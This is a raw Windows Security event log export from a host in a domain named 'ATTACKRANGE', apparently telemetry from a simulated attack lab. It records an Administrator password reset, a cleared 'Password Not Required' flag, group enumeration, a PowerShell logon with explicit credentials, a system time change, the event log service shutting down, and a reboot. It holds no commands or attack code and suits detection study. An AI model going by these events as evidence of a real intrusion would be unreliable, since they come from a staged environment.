This event is generated when the system time is changed. It is normal for the Windows Time Service, which runs with System privilege, to change the system time on a regular basis. Other system time changes may be indicative of attempts to tamper with the computer.
03/11/2021 11:17:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245191
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:17:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245190
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2b0
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:17:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4724
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245197
Keywords=Audit Success
Message=An attempt was made to reset an account's password.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
03/11/2021 11:17:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4738
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245196
Keywords=Audit Success
Message=A user account was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR

Changed Attributes:
	SAM Account Name:	Administrator
	Display Name:		<value not set>
	User Principal Name:	-
	Home Directory:		<value not set>
	Home Drive:		<value not set>
	Script Path:		<value not set>
	Profile Path:		<value not set>
	User Workstations:	<value not set>
	Password Last Set:	3/1/2021 12:10:23 PM
	Account Expires:		<never>
	Primary Group ID:	513
	AllowedToDelegateTo:	-
	Old UAC Value:		0x14
	New UAC Value:		0x10
	User Account Control:	
		'Password Not Required' - Disabled
	User Parameters:	-
	SID History:		-
	Logon Hours:		All

Additional Information:
	Privileges:		-
03/11/2021 11:17:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245195
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

User:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR

Process Information:
	Process ID:		0xd04
	Process Name:		C:\Windows\System32\net1.exe
03/11/2021 11:17:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245194
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

User:
	Security ID:		ATTACKRANGE\Guest
	Account Name:		Guest
	Account Domain:		EC2AMAZ-JQSN6NR

Process Information:
	Process ID:		0xbac
	Process Name:		C:\Windows\System32\wbem\WmiPrvSE.exe
03/11/2021 11:17:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245193
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

User:
	Security ID:		ATTACKRANGE\DefaultAccount
	Account Name:		DefaultAccount
	Account Domain:		EC2AMAZ-JQSN6NR

Process Information:
	Process ID:		0xbac
	Process Name:		C:\Windows\System32\wbem\WmiPrvSE.exe
03/11/2021 11:17:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245192
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

User:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR

Process Information:
	Process ID:		0xbac
	Process Name:		C:\Windows\System32\wbem\WmiPrvSE.exe
03/11/2021 11:17:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245204
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x7F79C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:17:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245203
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		4
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x7F79C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0xb68
	Process Name:		C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:17:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245202
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0xb68
	Process Name:		C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:17:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245201
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:17:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245200
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

User:
	Security ID:		ATTACKRANGE\Guest
	Account Name:		Guest
	Account Domain:		EC2AMAZ-JQSN6NR

Process Information:
	Process ID:		0xbac
	Process Name:		C:\Windows\System32\wbem\WmiPrvSE.exe
03/11/2021 11:17:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245199
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

User:
	Security ID:		ATTACKRANGE\DefaultAccount
	Account Name:		DefaultAccount
	Account Domain:		EC2AMAZ-JQSN6NR

Process Information:
	Process ID:		0xbac
	Process Name:		C:\Windows\System32\wbem\WmiPrvSE.exe
03/11/2021 11:17:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245198
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

User:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR

Process Information:
	Process ID:		0xbac
	Process Name:		C:\Windows\System32\wbem\WmiPrvSE.exe
03/11/2021 11:17:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245205
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x44
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:17:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4616
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security State Change
OpCode=Info
RecordNumber=245207
Keywords=Audit Success
Message=The system time was changed.

Subject:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5

Process Information:
	Process ID:	0x4b4
	Name:		C:\Windows\System32\svchost.exe

Previous Time:		‎2021‎-‎03‎-‎01T12:10:38.354910300Z
New Time:		‎2021‎-‎03‎-‎01T12:10:38.348000000Z

This event is generated when the system time is changed. It is normal for the Windows Time Service, which runs with System privilege, to change the system time on a regular basis. Other system time changes may be indicative of attempts to tamper with the computer.
03/11/2021 11:17:32 PM
LogName=Security
SourceName=Microsoft-Windows-Eventlog
EventCode=1100
EventType=4
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Service shutdown
OpCode=Info
RecordNumber=245206
Keywords=Audit Success
Message=The event logging service has shut down.
03/11/2021 11:36:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245209
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1f4
	New Process Name:	C:\Windows\System32\smss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x4
	Creator Process Name:	
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:36:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4826
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Other Policy Change Events
OpCode=Info
RecordNumber=245208
Keywords=Audit Success
Message=Boot Configuration Data loaded.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

General Settings:
	Load Options:		-
	Advanced Options:		No
	Configuration Access Policy:	Default
	System Event Logging:	No
	Kernel Debugging:	No
	VSM Launch Type:	Off

Signature Settings:
	Test Signing:		No
	Flight Signing:		No
	Disable Integrity Checks:	No

HyperVisor Settings:
	HyperVisor Load Options:	-
	HyperVisor Launch Type:	Off
	HyperVisor Debugging:	No
03/11/2021 11:36:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245210
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x280
	New Process Name:	C:\Windows\System32\autochk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1f4
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:36:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245216
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x358
	New Process Name:	C:\Windows\System32\winlogon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2fc
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:36:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245215
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x31c
	New Process Name:	C:\Windows\System32\wininit.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2b4
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:36:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245214
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x304
	New Process Name:	C:\Windows\System32\csrss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2fc
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:36:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245213
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2fc
	New Process Name:	C:\Windows\System32\smss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1f4
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:36:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245212
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2bc
	New Process Name:	C:\Windows\System32\csrss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2b4
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:36:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245211
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2b4
	New Process Name:	C:\Windows\System32\smss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1f4
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:36:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245220
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		0
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		-

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x4
	Process Name:		

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		-
	Authentication Package:	-
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:36:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4608
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security State Change
OpCode=Info
RecordNumber=245219
Keywords=Audit Success
Message=Windows is starting up.

This event is logged when LSASS.EXE starts and the auditing subsystem is initialized.
03/11/2021 11:36:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245218
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x39c
	New Process Name:	C:\Windows\System32\lsass.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x31c
	Creator Process Name:	C:\Windows\System32\wininit.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

